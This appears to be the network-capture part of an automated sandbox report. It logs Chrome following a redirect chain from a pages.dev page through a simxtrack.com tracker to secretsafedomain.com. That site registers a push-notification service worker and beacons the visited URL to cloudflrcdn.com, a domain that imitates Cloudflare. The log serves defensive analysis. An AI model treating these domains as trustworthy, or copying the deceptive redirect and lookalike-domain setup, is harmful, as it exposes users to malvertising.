2024-05-23 22:51:37 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 33 63 61 31 65 62 3b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 78 74 72 61 63 6b 2e 63 6f 6d 2f 74 72 61 63 6b 69 6e 67 32 30 32 2f 72 65 64 69 72 65 63 74 2f 72 74 72 2e 70 68 70 3f 74 32 30 32 69 64 3d 35 32 33 36 26 63 31 3d 45 56 4f 53 5f 54 41 5a 5a 26 74 32 30 32 6b 77 3d 45 56 4f 53 5f 54 41 5a 5a 22 3e 3c 69 20 63 6c 61 73 73 3d 22 62 69 20 62 69 2d 66 61 63 65 62 6f 6f 6b 22 3e 3c 2f 69 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c Data Ascii: <ul> <li><a style="color: #3ca1eb;" href="https://simxtrack.com/tracking202/redirect/rtr.php?t202id=5236&c1=EVOS_TAZZ&t202kw=EVOS_TAZZ"><i class="bi bi-facebook"></i></a></li> <li><a style="col
2024-05-23 22:51:37 UTC	366	IN	Data Raw: 6c 65 67 72 61 6d 2e 73 65 74 57 69 64 67 65 74 4f 70 74 69 6f 6e 73 28 7b 20 64 61 72 6b 3a 20 64 61 72 6b 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 61 72 6b 4d 65 64 69 61 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 27 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 20 64 61 72 6b 29 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 67 67 6c 65 54 68 65 6d 65 28 64 61 72 6b 4d 65 64 69 61 2e 6d 61 74 63 68 65 73 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 61 72 6b 4d 65 64 69 61 2e 61 64 64 4c 69 73 74 65 6e 65 72 28 66 75 6e 63 74 69 6f 6e 20 Data Ascii: legram.setWidgetOptions({ dark: dark }); } if (window.matchMedia) { var darkMedia = window.matchMedia('(prefers-color-scheme: dark)'); toggleTheme(darkMedia.matches); darkMedia.addListener(function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49733	172.66.45.18	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:37 UTC	627	OUT	GET /style.css HTTP/1.1 Host: simxtrackredirecttszz.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://simxtrackredirecttszz.pages.dev/link-1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "90f6d7cd3044dadc6d9b9f251b985245"
2024-05-23 22:51:37 UTC	592	IN	HTTP/1.1 304 Not Modified Date: Thu, 23 May 2024 22:51:37 GMT Connection: close Access-Control-Allow-Origin: * referrer-policy: strict-origin-when-cross-origin Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ePHrFdyry1rC89mTyrph1bhytIvyPV1hglOv4jy7%2Fk%2Fa2bkzLqvRGTvxaVNtXkuvf0AJtr07W0KX%2FQfJ7qO4UtWmmHHe9V4DN9zJ4Vb4OKm9VYWqOfT983KKBUH6ZRQ3gX0GoIZlxcxOqymQBg%2F3bJtx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88889c967dce43ff-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49737	172.66.45.18	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:38 UTC	681	OUT	GET /img/profile-1.jpg HTTP/1.1 Host: simxtrackredirecttszz.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://simxtrackredirecttszz.pages.dev/link-1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "398570c34aafa08182d3cd0963670b22"
2024-05-23 22:51:38 UTC	592	IN	HTTP/1.1 304 Not Modified Date: Thu, 23 May 2024 22:51:38 GMT Connection: close Access-Control-Allow-Origin: * referrer-policy: strict-origin-when-cross-origin Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F%2FmJsbUUfxNQv0IKzzheidNEWk89px8rZjB8nS2rijjoso5PrTBwm2C6HagSQDIMYGZPTIA6nYh1UP2SN6RhfZCYYmZHVF2rQp07QrMSLLnDrceWo1PDR%2BaWZXw5L4m389z2CV9hUJdSGPrzwTis%2Bx3Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88889c9b5f5343df-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49743	172.66.46.238	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:42 UTC	423	OUT	GET /img/profile-1.jpg HTTP/1.1 Host: simxtrackredirecttszz.pages.dev Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "398570c34aafa08182d3cd0963670b22"
2024-05-23 22:51:42 UTC	592	IN	HTTP/1.1 304 Not Modified Date: Thu, 23 May 2024 22:51:42 GMT Connection: close Access-Control-Allow-Origin: * referrer-policy: strict-origin-when-cross-origin Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=owWsoF%2FtN943zEl9iEx6GpPHHS7TCn4CJoB549NF0%2BCDCDeVI0sn%2BFJUn7h3eCzuHcYCwCvTkiXsVcXEWUBTTGWhE9FumgAfZO6YjhioZU5iFsxZTavGu%2Fy8FvfM7ZOXGqvPjpWZm64GjY7k8P94Gkeg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88889cb69a1d43a9-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49745	103.247.11.107	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:58 UTC	706	OUT	GET /tracking202/redirect/rtr.php?t202id=5236&c1=EVOS_TAZZ&t202kw=EVOS_TAZZ HTTP/1.1 Host: simxtrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:59 UTC	1069	IN	HTTP/1.1 302 Found Connection: close set-cookie: tracking202subid-legacy=576747; expires=Sat, 22-Jun-2024 22:51:59 GMT; Max-Age=2592000; path=/; domain=simxtrack.com; secure set-cookie: tracking202subid_a_3-legacy=576747; expires=Sat, 22-Jun-2024 22:51:59 GMT; Max-Age=2592000; path=/; domain=simxtrack.com; secure set-cookie: tracking202subid=576747; expires=Sat, 22-Jun-2024 22:51:59 GMT; Max-Age=2592000; path=/; domain=simxtrack.com; secure; SameSite=None set-cookie: tracking202subid_a_3=576747; expires=Sat, 22-Jun-2024 22:51:59 GMT; Max-Age=2592000; path=/; domain=simxtrack.com; secure; SameSite=None location: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 content-type: text/html; charset=UTF-8 content-length: 0 date: Thu, 23 May 2024 22:51:59 GMT server: LiteSpeed cache-control: no-cache, no-store, must-revalidate, max-age=0 alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49748	45.141.157.146	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:00 UTC	698	OUT	GET /s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 HTTP/1.1 Host: secretsafedomain.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:01 UTC	2301	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:52:01 GMT Content-Type: text/html;charset=utf-8 Content-Length: 8560 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Set-Cookie: v_rule_freq_v2_1_001=gdXLFugAbf4IueEdLRjw0thA7hUlhtzwKDvv5kumE971xuqr9DMZSKeN5JMVNn+i; Domain=.secretsafedomain.com; Expires=Wed, 21-Aug-2024 22:52:01 GMT; Path=/; Secure; SameSite=None Set-Cookie: gdm_uid_v2_1_001=U/r8lLUPAWcxDaviLTpwFaKcPwxoewHxyP3PvdEcoZBqGwiXr2tBu5efBif1Hpu0; Domain=.secretsafedomain.com; Expires=Wed, 21-Aug-2024 22:52:01 GMT; Path=/; Secure; SameSite=None Set-Cookie: v_rule_freq_v1_1_001=gdXLFugAbf4IueEdLRjw0thA7hUlhtzwKDvv5kumE971xuqr9DMZSKeN5JMVNn+i; Domain=.secretsafedomain.com; Expires=Wed, 21-Aug-2024 22:52:01 GMT; Path=/ Set-Cookie: v_seg_freq_v1_1_001=w+sV2Dl79C1RO54AAC2G/oufeiLDs7TJHVltH+BRr3s=; Domain=.secretsafedomain.com; Expires=Wed, 21-Aug-2024 22:52:01 GMT; Path=/ Set-Cookie: gdm_visit_freq_v2_1_001=oXa+SKDZFOD0jqa0rxAdlM/pSb3k2TlE1cALdU3RA5w=; Domain=.secretsafedomain.com; Expires=Wed, 21-Aug-2024 22:52:01 GMT; Path=/; Secure; SameSite=None Set-Cookie: v_seg_freq_v2_1_001=w+sV2Dl79C1RO54AAC2G/oufeiLDs7TJHVltH+BRr3s=; Domain=.secretsafedomain.com; Expires=Wed, 21-Aug-2024 22:52:00 GMT; Path=/; Secure; SameSite=None Set-Cookie: gdm_visit_freq_v1_1_001=oXa+SKDZFOD0jqa0rxAdlM/pSb3k2TlE1cALdU3RA5w=; Domain=.secretsafedomain.com; Expires=Wed, 21-Aug-2024 22:52:00 GMT; Path=/ Set-Cookie: gdm_suid_v2_1_001=HPfHs3OFxkaNOwO68jCjbQ==; Domain=.secretsafedomain.com; Expires=Wed, 21-Aug-2024 22:52:00 GMT; Path=/; Secure; SameSite=None Set-Cookie: gdm_uid_v1_1_001=U/r8lLUPAWcxDaviLTpwFaKcPwxoewHxyP3PvdEcoZBqGwiXr2tBu5efBif1Hpu0; Domain=.secretsafedomain.com; Expires=Wed, 21-Aug-2024 22:52:00 GMT; Path=/ Set-Cookie: gdm_suid_v1_1_001=HPfHs3OFxkaNOwO68jCjbQ==; Domain=.secretsafedomain.com; Expires=Wed, 21-Aug-2024 22:52:00 GMT; Path=/ Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Sat, 1 May 2020 12:00:00 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Requested-With,X-Auth,Pasha-Jlob
2024-05-23 22:52:01 UTC	8560	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49756	35.153.14.190	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:02 UTC	546	OUT	GET /user-segments/?pid=TH HTTP/1.1 Host: statisticresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://secretsafedomain.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:02 UTC	118	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:02 GMT Transfer-Encoding: chunked Connection: close Server: nginx
2024-05-23 22:52:02 UTC	68	IN	Data Raw: 33 65 0d 0a 69 66 20 28 74 79 70 65 6f 66 20 64 6d 70 53 65 67 6d 65 6e 74 73 20 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 76 61 72 20 64 6d 70 53 65 67 6d 65 6e 74 73 20 3d 20 27 27 3b 7d 0d 0a Data Ascii: 3eif (typeof dmpSegments == 'undefined') {var dmpSegments = '';}
2024-05-23 22:52:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49765	34.207.50.203	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:05 UTC	685	OUT	GET /color?x=1&forScheme=aHR0cHM6Ly9zZWNyZXRzYWZlZG9tYWluLmNvbS9zP2E9ODE1Mjgmc209MjM1JmNvPTExMjM1NiZtdD0xNiZzMT1FVk9TX1RBWlomczI9NTc2NzQ3 HTTP/1.1 Host: cloudflrcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://secretsafedomain.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://secretsafedomain.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:05 UTC	251	IN	HTTP/1.1 204 No Content Date: Thu, 23 May 2024 22:52:05 GMT Content-Type: application/json Connection: close Server: nginx Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49769	168.119.1.208	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:06 UTC	671	OUT	GET /api/v1/retargeting/set/3f949dfe-3372-4caa-baf0-047f88323cfa?pageviewe={pageviewe}&lead={lead} HTTP/1.1 Host: tsyndicate.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://secretsafedomain.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:06 UTC	650	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:52:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, no-transform, must-revalidate Pragma: no-cache Expires: 0 Vary: * X-Api-Version: 1 X-Request-Id: 3fd90dd4fd8ac7e2 Set-Cookie: ts_rt_3f949dfe-3372-4caa-baf0-047f88323cfa=ANmUCUOmR4kbQgQSPEjEBJwwZ8rYSVPmThmDCB9GnFixDMOA; expires=Fri, 23 May 2025 22:52:06 GMT; path=/; HttpOnly; secure; SameSite=None X-Robots-Tag: none Cache-Control: no-transform X-Robots-Tag: noindex, nofollow Report-To: { "url": "https://pxl.tsyndicate.com/api/v1/heavy-ad/report", "max_age": 86401 }
2024-05-23 22:52:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49766	45.141.157.146	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:06 UTC	1236	OUT	GET /service-worker.js HTTP/1.1 Host: secretsafedomain.com Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: v_rule_freq_v2_1_001=gdXLFugAbf4IueEdLRjw0thA7hUlhtzwKDvv5kumE971xuqr9DMZSKeN5JMVNn+i; gdm_uid_v2_1_001=U/r8lLUPAWcxDaviLTpwFaKcPwxoewHxyP3PvdEcoZBqGwiXr2tBu5efBif1Hpu0; v_rule_freq_v1_1_001=gdXLFugAbf4IueEdLRjw0thA7hUlhtzwKDvv5kumE971xuqr9DMZSKeN5JMVNn+i; v_seg_freq_v1_1_001=w+sV2Dl79C1RO54AAC2G/oufeiLDs7TJHVltH+BRr3s=; gdm_visit_freq_v2_1_001=oXa+SKDZFOD0jqa0rxAdlM/pSb3k2TlE1cALdU3RA5w=; v_seg_freq_v2_1_001=w+sV2Dl79C1RO54AAC2G/oufeiLDs7TJHVltH+BRr3s=; gdm_visit_freq_v1_1_001=oXa+SKDZFOD0jqa0rxAdlM/pSb3k2TlE1cALdU3RA5w=; gdm_suid_v2_1_001=HPfHs3OFxkaNOwO68jCjbQ==; gdm_uid_v1_1_001=U/r8lLUPAWcxDaviLTpwFaKcPwxoewHxyP3PvdEcoZBqGwiXr2tBu5efBif1Hpu0; gdm_suid_v1_1_001=HPfHs3OFxkaNOwO68jCjbQ==
2024-05-23 22:52:06 UTC	608	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:52:06 GMT Content-Type: text/javascript;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Sat, 1 May 2020 12:00:00 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Requested-With,X-Auth,Pasha-Jlob
2024-05-23 22:52:06 UTC	15776	IN	Data Raw: 34 61 38 32 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 66 69 72 65 62 61 73 65 6a 73 2f 35 2e 30 2e 32 2f 66 69 72 65 62 61 73 65 2d 61 70 70 2e 6a 73 27 29 3b 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 66 69 72 65 62 61 73 65 6a 73 2f 35 2e 30 2e 32 2f 66 69 72 65 62 61 73 65 2d 6d 65 73 73 61 67 69 6e 67 2e 6a 73 27 29 3b 0a 0a 2f 2f 21 21 21 21 20 49 74 20 6d 75 73 74 20 62 65 20 63 68 61 6e 67 65 64 20 62 65 66 6f 72 65 20 74 68 65 20 72 65 6c 65 61 73 65 20 6f 6e 20 74 68 65 20 63 75 72 72 65 6e 74 20 64 61 74 65 0a 76 61 72 20 76 65 72 73 69 6f 6e 46 Data Ascii: 4a82"use strict";importScripts('https://www.gstatic.com/firebasejs/5.0.2/firebase-app.js');importScripts('https://www.gstatic.com/firebasejs/5.0.2/firebase-messaging.js');//!!!! It must be changed before the release on the current datevar versionF
2024-05-23 22:52:06 UTC	3311	IN	Data Raw: 20 20 20 20 20 20 4c 52 3a 20 22 4c 69 62 65 72 69 61 22 2c 0a 20 20 20 20 20 20 20 20 4c 59 3a 20 22 4c 69 62 79 61 6e 20 41 72 61 62 20 4a 61 6d 61 68 69 72 69 79 61 22 2c 0a 20 20 20 20 20 20 20 20 4c 49 3a 20 22 4c 69 65 63 68 74 65 6e 73 74 65 69 6e 22 2c 0a 20 20 20 20 20 20 20 20 4c 54 3a 20 22 4c 69 74 68 75 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 20 20 4c 55 3a 20 22 4c 75 78 65 6d 62 6f 75 72 67 22 2c 0a 20 20 20 20 20 20 20 20 4d 4f 3a 20 22 4d 61 63 61 6f 22 2c 0a 20 20 20 20 20 20 20 20 4d 4b 3a 20 22 4d 61 63 65 64 6f 6e 69 61 22 2c 0a 20 20 20 20 20 20 20 20 4d 47 3a 20 22 4d 61 64 61 67 61 73 63 61 72 22 2c 0a 20 20 20 20 20 20 20 20 4d 57 3a 20 22 4d 61 6c 61 77 69 22 2c 0a 20 20 20 20 20 20 20 20 4d 59 3a 20 22 4d 61 6c 61 79 73 69 61 22 Data Ascii: LR: "Liberia", LY: "Libyan Arab Jamahiriya", LI: "Liechtenstein", LT: "Lithuania", LU: "Luxembourg", MO: "Macao", MK: "Macedonia", MG: "Madagascar", MW: "Malawi", MY: "Malaysia"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49770	66.254.122.19	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:06 UTC	539	OUT	GET /js/mp.min.js HTTP/1.1 Host: static.trafficjunky.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://secretsafedomain.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:06 UTC	410	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:52:06 GMT Content-Type: application/javascript Content-Length: 10683 vary: Accept-Encoding last-modified: Wed, 19 Jul 2023 19:46:07 GMT etag: "6f013ad69-29bb-600dc485b1dc0" expires: Thu, 07 Mar 2024 18:21:07 GMT cache-control: max-age=1709835667 Accept-Ranges: bytes x-cdn-diag: fra1-11028-3-2332306-h-0-0---;11037-173-1747728----0-0-0 connection: close
2024-05-23 22:52:06 UTC	1009	IN	Data Raw: 76 61 72 20 5f 6d 70 65 76 74 3d 5f 6d 70 65 76 74 7c 7c 5b 5d 3b 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 75 29 7b 69 66 28 74 79 70 65 6f 66 20 45 74 61 70 70 54 72 61 63 6b 65 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 45 74 61 70 70 54 72 61 63 6b 65 72 29 7b 7d 65 6c 73 65 7b 5f 6d 70 65 76 74 3d 77 2e 5f 6d 70 65 76 74 7c 7c 5b 5d 3b 76 61 72 20 74 3d 36 36 36 2c 5f 69 3d 7b 7d 2c 5f 75 73 65 54 69 6d 65 72 2c 5f 73 65 6c 66 3d 74 68 69 73 2c 5f 65 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 7c 7c 65 73 63 61 70 65 2c 5f 4f 42 55 2c 5f 61 73 79 6e 63 2c 5f 61 73 79 6e 63 54 69 6d 65 72 3b 66 75 6e 63 74 69 6f 6e 20 5f 72 64 61 74 65 28 63 29 7b 76 61 72 20 62 3d 6e 65 77 20 44 61 74 65 3b 62 2e 73 65 74 54 69 6d 65 28 62 2e 67 65 Data Ascii: var _mpevt=_mpevt\|\|[];(function(w,d,u){if(typeof EtappTracker!="undefined"&&EtappTracker){}else{_mpevt=w._mpevt\|\|[];var t=666,_i={},_useTimer,_self=this,_e=encodeURIComponent\|\|escape,_OBU,_async,_asyncTimer;function _rdate(c){var b=new Date;b.setTime(b.ge
